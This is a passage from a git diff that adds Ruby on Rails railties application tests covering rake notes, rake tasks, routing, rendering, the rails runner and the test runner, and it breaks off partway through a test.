+ app_file "app/controllers/application_controller.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in ruby"
+ app_file "lib/tasks/task.rake", "# TODO: note in rake"
+
+ boot_rails
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+
+ Rails.application.load_tasks
+
+ Dir.chdir(app_path) do
+ output = `bundle exec rake notes`
+ lines = output.scan(/\[([0-9\s]+)\](\s)/)
+
+ assert_match(/note in erb/, output)
+ assert_match(/note in haml/, output)
+ assert_match(/note in slim/, output)
+ assert_match(/note in ruby/, output)
+ assert_match(/note in coffee/, output)
+ assert_match(/note in js/, output)
+ assert_match(/note in css/, output)
+ assert_match(/note in scss/, output)
+ assert_match(/note in rake/, output)
+
+ assert_equal 9, lines.size
+
+ lines.each do |line|
+ assert_equal 4, line[0].size
+ assert_equal ' ', line[1]
+ end
+ end
+ end
+
+ test 'notes finds notes in default directories' do
+ app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+ app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+ app_file "db/some_seeds.rb", "# TODO: note in db directory"
+ app_file "lib/some_file.rb", "# TODO: note in lib directory"
+ app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+ app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
+
+ boot_rails
+
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+
+ Rails.application.load_tasks
+
+ Dir.chdir(app_path) do
+ output = `bundle exec rake notes`
+ lines = output.scan(/\[([0-9\s]+)\]/).flatten
+
+ assert_match(/note in app directory/, output)
+ assert_match(/note in config directory/, output)
+ assert_match(/note in db directory/, output)
+ assert_match(/note in lib directory/, output)
+ assert_match(/note in test directory/, output)
+ assert_no_match(/note in some_other directory/, output)
+
+ assert_equal 5, lines.size
+
+ lines.each do |line_number|
+ assert_equal 4, line_number.size
+ end
+ end
+ end
+
+ test 'notes finds notes in custom directories' do
+ app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+ app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+ app_file "db/some_seeds.rb", "# TODO: note in db directory"
+ app_file "lib/some_file.rb", "# TODO: note in lib directory"
+ app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+ app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
+
+ boot_rails
+
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+
+ Rails.application.load_tasks
+
+ Dir.chdir(app_path) do
+ output = `SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bundle exec rake notes`
+ lines = output.scan(/\[([0-9\s]+)\]/).flatten
+
+ assert_match(/note in app directory/, output)
+ assert_match(/note in config directory/, output)
+ assert_match(/note in db directory/, output)
+ assert_match(/note in lib directory/, output)
+ assert_match(/note in test directory/, output)
+
+ assert_match(/note in some_other directory/, output)
+
+ assert_equal 6, lines.size
+
+ lines.each do |line_number|
+ assert_equal 4, line_number.size
+ end
+ end
+ end
+
+ test 'custom rake task finds specific notes in specific directories' do
+ app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+ app_file "lib/some_file.rb", "# OPTIMIZE: note in lib directory\n" << "# FIXME: note in lib directory"
+ app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+ app_file "lib/tasks/notes_custom.rake", <<-EOS
+ require 'rails/source_annotation_extractor'
+ task :notes_custom do
+ tags = 'TODO|FIXME'
+ opts = { dirs: %w(lib test), tag: true }
+ SourceAnnotationExtractor.enumerate(tags, opts)
+ end
+ EOS
+
+ boot_rails
+
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+
+ Rails.application.load_tasks
+
+ Dir.chdir(app_path) do
+ output = `bundle exec rake notes_custom`
+ lines = output.scan(/\[([0-9\s]+)\]/).flatten
+
+ assert_match(/\[FIXME\] note in lib directory/, output)
+ assert_match(/\[TODO\] note in test directory/, output)
+ assert_no_match(/OPTIMIZE/, output)
+ assert_no_match(/note in app directory/, output)
+
+ assert_equal 2, lines.size
+
+ lines.each do |line_number|
+ assert_equal 4, line_number.size
+ end
+ end
+ end
+
+ private
+ def boot_rails
+ super
+ require "#{app_path}/config/environment"
+ end
+ end
+ end
+end
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
new file mode 100644
index 0000000..fa3ab96
--- /dev/null
+++ b/railties/test/application/rake_test.rb
@@ -0,0 +1,297 @@
+# coding:utf-8
+require "isolation/abstract_unit"
+require "active_support/core_ext/string/strip"
+
+module ApplicationTests
+ class RakeTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def test_gems_tasks_are_loaded_first_than_application_ones
+ app_file "lib/tasks/app.rake", <<-RUBY
+ $task_loaded = Rake::Task.task_defined?("db:create:all")
+ RUBY
+
+ require "#{app_path}/config/environment"
+ ::Rails.application.load_tasks
+ assert $task_loaded
+ end
+
+ def test_environment_is_required_in_rake_tasks
+ app_file "config/environment.rb", <<-RUBY
+ SuperMiddleware = Struct.new(:app)
+
+ AppTemplate::Application.configure do
+ config.middleware.use SuperMiddleware
+ end
+
+ AppTemplate::Application.initialize!
+ RUBY
+
+ assert_match("SuperMiddleware", Dir.chdir(app_path){ `rake middleware` })
+ end
+
+ def test_initializers_are_executed_in_rake_tasks
+ add_to_config <<-RUBY
+ initializer "do_something" do
+ puts "Doing something..."
+ end
+
+ rake_tasks do
+ task do_nothing: :environment do
+ end
+ end
+ RUBY
+
+ output = Dir.chdir(app_path){ `rake do_nothing` }
+ assert_match "Doing something...", output
+ end
+
+ def test_does_not_explode_when_accessing_a_model_with_eager_load
+ add_to_config <<-RUBY
+ config.eager_load = true
+
+ rake_tasks do
+ task do_nothing: :environment do
+ Hello.new.world
+ end
+ end
+ RUBY
+
+ app_file "app/models/hello.rb", <<-RUBY
+ class Hello
+ def world
+ puts "Hello world"
+ end
+ end
+ RUBY
+
+ output = Dir.chdir(app_path){ `rake do_nothing` }
+ assert_match "Hello world", output
+ end
+
+ def test_should_not_eager_load_model_path_for_rake
+ add_to_config <<-RUBY
+ config.eager_load = true
+
+ rake_tasks do
+ task do_nothing: :environment do
+ end
+ end
+ RUBY
+
+ app_file "app/models/hello.rb", <<-RUBY
+ raise 'should not be pre-required for rake even `eager_load=true`'
+ RUBY
+
+ Dir.chdir(app_path){ `rake do_nothing` }
+ end
+
+ def test_code_statistics_sanity
+ assert_match "Code LOC: 5 Test LOC: 0 Code to Test Ratio: 1:0.0",
+ Dir.chdir(app_path){ `rake stats` }
+ end
+
+ def test_rake_test_uncommitted_always_find_git_in_parent_dir
+ return "FIXME :'("
+ app_name = File.basename(app_path)
+ app_dir = File.dirname(app_path)
+ moved_app_name = app_name + '_moved'
+
+ Dir.chdir(app_dir) do
+ # Go from "./app/" to "./app/app_moved"
+ FileUtils.mv(app_name, moved_app_name)
+ FileUtils.mkdir(app_name)
+ FileUtils.mv(moved_app_name, app_name)
+ # Initialize the git repository and start the test.
+ Dir.chdir(app_name) do
+ `git init`
+ Dir.chdir(moved_app_name){ `rake db:migrate` }
+ silence_stderr { Dir.chdir(moved_app_name) { `rake test:uncommitted` } }
+ assert_equal 0, $?.exitstatus
+ end
+ end
+ end
+
+ def test_rake_test_uncommitted_fails_with_no_scm
+ Dir.chdir(app_path){ `rake db:migrate` }
+ Dir.chdir(app_path) do
+ silence_stderr { `rake test:uncommitted` }
+ assert_equal 1, $?.exitstatus
+ end
+ end
+
+ def test_rake_test_deprecation_messages
+ Dir.chdir(app_path){ `rails generate scaffold user name:string` }
+ Dir.chdir(app_path){ `rake db:migrate` }
+
+ %w(recent uncommitted).each do |test_suit_name|
+ output = Dir.chdir(app_path) { `rake test:#{test_suit_name} 2>&1` }
+ assert_match(/DEPRECATION WARNING: `rake test:#{test_suit_name}` is deprecated/, output)
+ end
+ end
+
+ def test_rake_routes_calls_the_route_inspector
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/cart', to: 'cart#show'
+ end
+ RUBY
+
+ output = Dir.chdir(app_path){ `rake routes` }
+ assert_equal "Prefix Verb URI Pattern Controller#Action\ncart GET /cart(.:format) cart#show\n", output
+ end
+
+ def test_rake_routes_displays_message_when_no_routes_are_defined
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ end
+ RUBY
+
+ assert_equal <<-MESSAGE.strip_heredoc, Dir.chdir(app_path){ `rake routes` }
+ You don't have any routes defined!
+
+ Please add some routes in config/routes.rb.
+
+ For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html.
+ MESSAGE
+ end
+
+ def test_logger_is_flushed_when_exiting_production_rake_tasks
+ add_to_config <<-RUBY
+ rake_tasks do
+ task log_something: :environment do
+ Rails.logger.error("Sample log message")
+ end
+ end
+ RUBY
+
+ output = Dir.chdir(app_path){ `rake log_something RAILS_ENV=production && cat log/production.log` }
+ assert_match "Sample log message", output
+ end
+
+ def test_loading_specific_fixtures
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate model product name:string;
+ rake db:migrate`
+ end
+
+ require "#{rails_root}/config/environment"
+
+ # loading a specific fixture
+ errormsg = Dir.chdir(app_path) { `rake db:fixtures:load FIXTURES=products` }
+ assert $?.success?, errormsg
+
+ assert_equal 2, ::AppTemplate::Application::Product.count
+ assert_equal 0, ::AppTemplate::Application::User.count
+ end
+
+ def test_loading_only_yml_fixtures
+ Dir.chdir(app_path) do
+ `rake db:migrate`
+ end
+
+ app_file "test/fixtures/products.csv", ""
+
+ require "#{rails_root}/config/environment"
+ errormsg = Dir.chdir(app_path) { `rake db:fixtures:load` }
+ assert $?.success?, errormsg
+ end
+
+ def test_scaffold_tests_pass_by_default
+ output = Dir.chdir(app_path) do
+ `rails generate scaffold user username:string password:string;
+ bundle exec rake db:migrate db:test:clone test`
+ end
+
+ assert_match(/7 tests, 13 assertions, 0 failures, 0 errors/, output)
+ assert_no_match(/Errors running/, output)
+ end
+
+ def test_scaffold_with_references_columns_tests_pass_by_default
+ output = Dir.chdir(app_path) do
+ `rails generate scaffold LineItems product:references cart:belongs_to;
+ bundle exec rake db:migrate db:test:clone test`
+ end
+
+ assert_match(/7 tests, 13 assertions, 0 failures, 0 errors/, output)
+ assert_no_match(/Errors running/, output)
+ end
+
+ def test_db_test_clone_when_using_sql_format
+ add_to_config "config.active_record.schema_format = :sql"
+ output = Dir.chdir(app_path) do
+ `rails generate scaffold user username:string;
+ bundle exec rake db:migrate db:test:clone 2>&1 --trace`
+ end
+ assert_match(/Execute db:test:clone_structure/, output)
+ end
+
+ def test_db_test_prepare_when_using_sql_format
+ add_to_config "config.active_record.schema_format = :sql"
+ output = Dir.chdir(app_path) do
+ `rails generate scaffold user username:string;
+ bundle exec rake db:migrate db:test:prepare 2>&1 --trace`
+ end
+ assert_match(/Execute db:test:load_structure/, output)
+ end
+
+ def test_rake_dump_structure_should_respect_db_structure_env_variable
+ Dir.chdir(app_path) do
+ # ensure we have a schema_migrations table to dump
+ `bundle exec rake db:migrate db:structure:dump DB_STRUCTURE=db/my_structure.sql`
+ end
+ assert File.exists?(File.join(app_path, 'db', 'my_structure.sql'))
+ end
+
+ def test_rake_dump_structure_should_be_called_twice_when_migrate_redo
+ add_to_config "config.active_record.schema_format = :sql"
+
+ output = Dir.chdir(app_path) do
+ `rails g model post title:string;
+ bundle exec rake db:migrate:redo 2>&1 --trace;`
+ end
+
+ # expect only Invoke db:structure:dump (first_time)
+ assert_no_match(/^\*\* Invoke db:structure:dump\s+$/, output)
+ end
+
+ def test_rake_dump_schema_cache
+ Dir.chdir(app_path) do
+ `rails generate model post title:string;
+ rails generate model product name:string;
+ bundle exec rake db:migrate db:schema:cache:dump`
+ end
+ assert File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+ end
+
+ def test_rake_clear_schema_cache
+ Dir.chdir(app_path) do
+ `bundle exec rake db:schema:cache:dump db:schema:cache:clear`
+ end
+ assert !File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+ end
+
+ def test_copy_templates
+ Dir.chdir(app_path) do
+ `bundle exec rake rails:templates:copy`
+ %w(controller mailer scaffold).each do |dir|
+ assert File.exists?(File.join(app_path, 'lib', 'templates', 'erb', dir))
+ end
+ %w(controller helper scaffold_controller assets).each do |dir|
+ assert File.exists?(File.join(app_path, 'lib', 'templates', 'rails', dir))
+ end
+ end
+ end
+ end
+end
diff --git a/railties/test/application/rendering_test.rb b/railties/test/application/rendering_test.rb
new file mode 100644
index 0000000..588d64d
--- /dev/null
+++ b/railties/test/application/rendering_test.rb
@@ -0,0 +1,45 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class RoutingTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "Unknown format falls back to HTML template" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'pages/:id', to: 'pages#show'
+ end
+ RUBY
+
+ app_file 'app/controllers/pages_controller.rb', <<-RUBY
+ class PagesController < ApplicationController
+ layout false
+
+ def show
+ end
+ end
+ RUBY
+
+ app_file 'app/views/pages/show.html.erb', <<-RUBY
+ <%= params[:id] %>
+ RUBY
+
+ get '/pages/foo'
+ assert_equal 200, last_response.status
+
+ get '/pages/foo.bar'
+ assert_equal 200, last_response.status
+ end
+ end
+end
diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb
new file mode 100644
index 0000000..25372d0
--- /dev/null
+++ b/railties/test/application/routing_test.rb
@@ -0,0 +1,403 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class RoutingTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "rails/welcome in development" do
+ app("development")
+ get "/"
+ assert_equal 200, last_response.status
+ end
+
+ test "rails/info/routes in development" do
+ app("development")
+ get "/rails/info/routes"
+ assert_equal 200, last_response.status
+ end
+
+ test "rails/info/properties in development" do
+ app("development")
+ get "/rails/info/properties"
+ assert_equal 200, last_response.status
+ end
+
+ test "root takes precedence over internal welcome controller" do
+ app("development")
+
+ get '/'
+ assert_match %r{<h1>Getting started</h1>} , last_response.body
+
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render text: "foo"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ root to: "foo#index"
+ end
+ RUBY
+
+ get '/'
+ assert_equal 'foo', last_response.body
+ end
+
+ test "rails/welcome in production" do
+ app("production")
+ get "/"
+ assert_equal 404, last_response.status
+ end
+
+ test "rails/info/routes in production" do
+ app("production")
+ get "/rails/info/routes"
+ assert_equal 404, last_response.status
+ end
+
+ test "rails/info/properties in production" do
+ app("production")
+ get "/rails/info/properties"
+ assert_equal 404, last_response.status
+ end
+
+ test "simple controller" do
+ simple_controller
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+ end
+
+ test "simple controller with helper" do
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render inline: "<%= foo_or_bar? %>"
+ end
+ end
+ RUBY
+
+ app_file 'app/helpers/bar_helper.rb', <<-RUBY
+ module BarHelper
+ def foo_or_bar?
+ "bar"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ end
+ RUBY
+
+ get '/foo'
+ assert_equal 'bar', last_response.body
+ end
+
+ test "mount rack app" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ mount lambda { |env| [200, {}, [env["PATH_INFO"]]] }, at: "/blog"
+ # The line below is required because mount sometimes
+ # fails when a resource route is added.
+ resource :user
+ end
+ RUBY
+
+ get '/blog/archives'
+ assert_equal '/archives', last_response.body
+ end
+
+ test "multiple controllers" do
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render text: "foo"
+ end
+ end
+ RUBY
+
+ controller :bar, <<-RUBY
+ class BarController < ActionController::Base
+ def index
+ render text: "bar"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller(/:action)'
+ end
+ RUBY
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+
+ get '/bar'
+ assert_equal 'bar', last_response.body
+ end
+
+ test "nested controller" do
+ controller 'foo', <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render text: "foo"
+ end
+ end
+ RUBY
+
+ controller 'admin/foo', <<-RUBY
+ module Admin
+ class FooController < ApplicationController
+ def index
+ render text: "admin::foo"
+ end
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'admin/foo', to: 'admin/foo#index'
+ get 'foo', to: 'foo#index'
+ end
+ RUBY
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+
+ get '/admin/foo'
+ assert_equal 'admin::foo', last_response.body
+ end
+
+ test "routes appending blocks" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get ':controller/:action'
+ end
+ RUBY
+
+ add_to_config <<-R
+ routes.append do
+ get '/win' => lambda { |e| [200, {'Content-Type'=>'text/plain'}, ['WIN']] }
+ end
+ R
+
+ app 'development'
+
+ get '/win'
+ assert_equal 'WIN', last_response.body
+
+ app_file 'config/routes.rb', <<-R
+ AppTemplate::Application.routes.draw do
+ get 'lol' => 'hello#index'
+ end
+ R
+
+ get '/win'
+ assert_equal 'WIN', last_response.body
+ end
+
+ {"development" => "baz", "production" => "bar"}.each do |mode, expected|
+ test "reloads routes when configuration is changed in #{mode}" do
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def bar
+ render text: "bar"
+ end
+
+ def baz
+ render text: "baz"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'foo', to: 'foo#bar'
+ end
+ RUBY
+
+ app(mode)
+
+ get '/foo'
+ assert_equal 'bar', last_response.body
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'foo', to: 'foo#baz'
+ end
+ RUBY
+
+ sleep 0.1
+
+ get '/foo'
+ assert_equal expected, last_response.body
+ end
+ end
+
+ test 'routes are loaded just after initialization' do
+ require "#{app_path}/config/application"
+
+ # Create the rack app just inside after initialize callback
+ ActiveSupport.on_load(:after_initialize) do
+ ::InitializeRackApp = lambda { |env| [200, {}, ["InitializeRackApp"]] }
+ end
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'foo', to: ::InitializeRackApp
+ end
+ RUBY
+
+ get '/foo'
+ assert_equal "InitializeRackApp", last_response.body
+ end
+
+ test 'reload_routes! is part of Rails.application API' do
+ app("development")
+ assert_nothing_raised do
+ Rails.application.reload_routes!
+ end
+ end
+
+ def test_root_path
+ app('development')
+
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render :text => "foo"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'foo', :to => 'foo#index'
+ root :to => 'foo#index'
+ end
+ RUBY
+
+ remove_file 'public/index.html'
+
+ get '/'
+ assert_equal 'foo', last_response.body
+ end
+
+ test 'routes are added and removed when reloading' do
+ app('development')
+
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render text: "foo"
+ end
+ end
+ RUBY
+
+ controller :bar, <<-RUBY
+ class BarController < ApplicationController
+ def index
+ render text: "bar"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'foo', to: 'foo#index'
+ end
+ RUBY
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+ assert_equal '/foo', Rails.application.routes.url_helpers.foo_path
+
+ get '/bar'
+ assert_equal 404, last_response.status
+ assert_raises NoMethodError do
+ assert_equal '/bar', Rails.application.routes.url_helpers.bar_path
+ end
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'foo', to: 'foo#index'
+ get 'bar', to: 'bar#index'
+ end
+ RUBY
+
+ Rails.application.reload_routes!
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+ assert_equal '/foo', Rails.application.routes.url_helpers.foo_path
+
+ get '/bar'
+ assert_equal 'bar', last_response.body
+ assert_equal '/bar', Rails.application.routes.url_helpers.bar_path
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'foo', to: 'foo#index'
+ end
+ RUBY
+
+ Rails.application.reload_routes!
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+ assert_equal '/foo', Rails.application.routes.url_helpers.foo_path
+
+ get '/bar'
+ assert_equal 404, last_response.status
+ assert_raises NoMethodError do
+ assert_equal '/bar', Rails.application.routes.url_helpers.bar_path
+ end
+ end
+
+ test 'resource routing with irregular inflection' do
+ app_file 'config/initializers/inflection.rb', <<-RUBY
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular 'yazi', 'yazilar'
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ resources :yazilar
+ end
+ RUBY
+
+ controller 'yazilar', <<-RUBY
+ class YazilarController < ApplicationController
+ def index
+ render text: 'yazilar#index'
+ end
+ end
+ RUBY
+
+ get '/yazilars'
+ assert_equal 404, last_response.status
+
+ get '/yazilar'
+ assert_equal 200, last_response.status
+ end
+ end
+end
diff --git a/railties/test/application/runner_test.rb b/railties/test/application/runner_test.rb
new file mode 100644
index 0000000..6595c40
--- /dev/null
+++ b/railties/test/application/runner_test.rb
@@ -0,0 +1,89 @@
+require 'isolation/abstract_unit'
+require 'env_helpers'
+
+module ApplicationTests
+ class RunnerTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include EnvHelpers
+
+ def setup
+ build_app
+ boot_rails
+
+ # Lets create a model so we have something to play with
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ def self.count
+ 42
+ end
+ end
+ MODEL
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def test_should_include_runner_in_shebang_line_in_help_without_option
+ assert_match "/rails runner", Dir.chdir(app_path) { `bundle exec rails runner` }
+ end
+
+ def test_should_include_runner_in_shebang_line_in_help
+ assert_match "/rails runner", Dir.chdir(app_path) { `bundle exec rails runner --help` }
+ end
+
+ def test_should_run_ruby_statement
+ assert_match "42", Dir.chdir(app_path) { `bundle exec rails runner "puts User.count"` }
+ end
+
+ def test_should_run_file
+ app_file "bin/count_users.rb", <<-SCRIPT
+ puts User.count
+ SCRIPT
+
+ assert_match "42", Dir.chdir(app_path) { `bundle exec rails runner "bin/count_users.rb"` }
+ end
+
+ def test_should_set_dollar_0_to_file
+ app_file "bin/dollar0.rb", <<-SCRIPT
+ puts $0
+ SCRIPT
+
+ assert_match "bin/dollar0.rb", Dir.chdir(app_path) { `bundle exec rails runner "bin/dollar0.rb"` }
+ end
+
+ def test_should_set_dollar_program_name_to_file
+ app_file "bin/program_name.rb", <<-SCRIPT
+ puts $PROGRAM_NAME
+ SCRIPT
+
+ assert_match "bin/program_name.rb", Dir.chdir(app_path) { `bundle exec rails runner "bin/program_name.rb"` }
+ end
+
+ def test_with_hook
+ add_to_config <<-RUBY
+ runner do |app|
+ app.config.ran = true
+ end
+ RUBY
+
+ assert_match "true", Dir.chdir(app_path) { `bundle exec rails runner "puts Rails.application.config.ran"` }
+ end
+
+ def test_default_environment
+ assert_match "development", Dir.chdir(app_path) { `bundle exec rails runner "puts Rails.env"` }
+ end
+
+ def test_environment_with_rails_env
+ with_rails_env "production" do
+ assert_match "production", Dir.chdir(app_path) { `bundle exec rails runner "puts Rails.env"` }
+ end
+ end
+
+ def test_environment_with_rack_env
+ with_rack_env "production" do
+ assert_match "production", Dir.chdir(app_path) { `bundle exec rails runner "puts Rails.env"` }
+ end
+ end
+ end
+end
diff --git a/railties/test/application/test_runner_test.rb b/railties/test/application/test_runner_test.rb
new file mode 100644
index 0000000..1cf53aa
--- /dev/null
+++ b/railties/test/application/test_runner_test.rb
@@ -0,0 +1,320 @@
+require 'isolation/abstract_unit'
+require 'active_support/core_ext/string/strip'
+
+module ApplicationTests
+ class TestRunnerTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ ENV['RAILS_ENV'] = nil
+ create_schema
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def test_run_in_test_environment
+ app_file 'test/unit/env_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class EnvTest < ActiveSupport::TestCase
+ def test_env
+ puts "Current Environment: \#{Rails.env}"
+ end
+ end
+ RUBY
+
+ assert_match "Current Environment: test", run_test_command('test/unit/env_test.rb')
+ end
+
+ def test_run_single_file
+ create_test_file :models, 'foo'
+ create_test_file :models, 'bar'
+ assert_match "1 tests, 1 assertions, 0 failures", run_test_command("test/models/foo_test.rb")
+ end
+
+ def test_run_multiple_files
+ create_test_file :models, 'foo'
+ create_test_file :models, 'bar'
+ assert_match "2 tests, 2 assertions, 0 failures", run_test_command("test/models/foo_test.rb test/models/bar_test.rb")
+ end
+
+ def test_run_file_with_syntax_error
+ app_file 'test/models/error_test.rb', <<-RUBY
+ require 'test_helper'
+ def; end
+ RUBY
+
+ error_stream = Tempfile.new('error')
+ redirect_stderr(error_stream) { run_test_command('test/models/error_test.rb') }
+ assert_match "syntax error", error_stream.read
+ end
+
+ def test_run_models
+ create_test_file :models, 'foo'
+ create_test_file :models, 'bar'
+ create_test_file :controllers, 'foobar_controller'
+ run_test_models_command.tap do |output|
+ assert_match "FooTest", output
+ assert_match "BarTest", output
+ assert_match "2 tests, 2 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_helpers
+ create_test_file :helpers, 'foo_helper'
+ create_test_file :helpers, 'bar_helper'
+ create_test_file :controllers, 'foobar_controller'
+ run_test_helpers_command.tap do |output|
+ assert_match "FooHelperTest", output
+ assert_match "BarHelperTest", output
+ assert_match "2 tests, 2 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_units
+ create_test_file :models, 'foo'
+ create_test_file :helpers, 'bar_helper'
+ create_test_file :unit, 'baz_unit'
+ create_test_file :controllers, 'foobar_controller'
+ run_test_units_command.tap do |output|
+ assert_match "FooTest", output
+ assert_match "BarHelperTest", output
+ assert_match "BazUnitTest", output
+ assert_match "3 tests, 3 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_controllers
+ create_test_file :controllers, 'foo_controller'
+ create_test_file :controllers, 'bar_controller'
+ create_test_file :models, 'foo'
+ run_test_controllers_command.tap do |output|
+ assert_match "FooControllerTest", output
+ assert_match "BarControllerTest", output
+ assert_match "2 tests, 2 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_mailers
+ create_test_file :mailers, 'foo_mailer'
+ create_test_file :mailers, 'bar_mailer'
+ create_test_file :models, 'foo'
+ run_test_mailers_command.tap do |output|
+ assert_match "FooMailerTest", output
+ assert_match "BarMailerTest", output
+ assert_match "2 tests, 2 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_functionals
+ create_test_file :mailers, 'foo_mailer'
+ create_test_file :controllers, 'bar_controller'
+ create_test_file :functional, 'baz_functional'
+ create_test_file :models, 'foo'
+ run_test_functionals_command.tap do |output|
+ assert_match "FooMailerTest", output
+ assert_match "BarControllerTest", output
+ assert_match "BazFunctionalTest", output
+ assert_match "3 tests, 3 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_integration
+ create_test_file :integration, 'foo_integration'
+ create_test_file :models, 'foo'
+ run_test_integration_command.tap do |output|
+ assert_match "FooIntegration", output
+ assert_match "1 tests, 1 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_all_suites
+ suites = [:models, :helpers, :unit, :controllers, :mailers, :functional, :integration]
+ suites.each { |suite| create_test_file suite, "foo_#{suite}" }
+ run_test_command('') .tap do |output|
+ suites.each { |suite| assert_match "Foo#{suite.to_s.camelize}Test", output }
+ assert_match "7 tests, 7 assertions, 0 failures", output
+ end
+ end
+
+ def test_run_named_test
+ app_file 'test/unit/chu_2_koi_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class Chu2KoiTest < ActiveSupport::TestCase
+ def test_rikka
+ puts 'Rikka'
+ end
+
+ def test_sanae
+ puts 'Sanae'
+ end
+ end
+ RUBY
+
+ run_test_command('test/unit/chu_2_koi_test.rb test_rikka').tap do |output|
+ assert_match "Rikka", output
+ assert_no_match "Sanae", output
+ end
+ end
+
+ def test_run_matched_test
+ app_file 'test/unit/chu_2_koi_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class Chu2KoiTest < ActiveSupport::TestCase
+ def test_rikka
+ puts 'Rikka'
+ end
+
+ def test_sanae
+ puts 'Sanae'
+ end
+ end
+ RUBY
+
+ run_test_command('test/unit/chu_2_koi_test.rb /rikka/').tap do |output|
+ assert_match "Rikka", output
+ assert_no_match "Sanae", output
+ end
+ end
+
+ def test_load_fixtures_when_running_test_suites
+ create_model_with_fixture
+ suites = [:models, :helpers, [:units, :unit], :controllers, :mailers,
+ [:functionals, :functional], :integration]
+
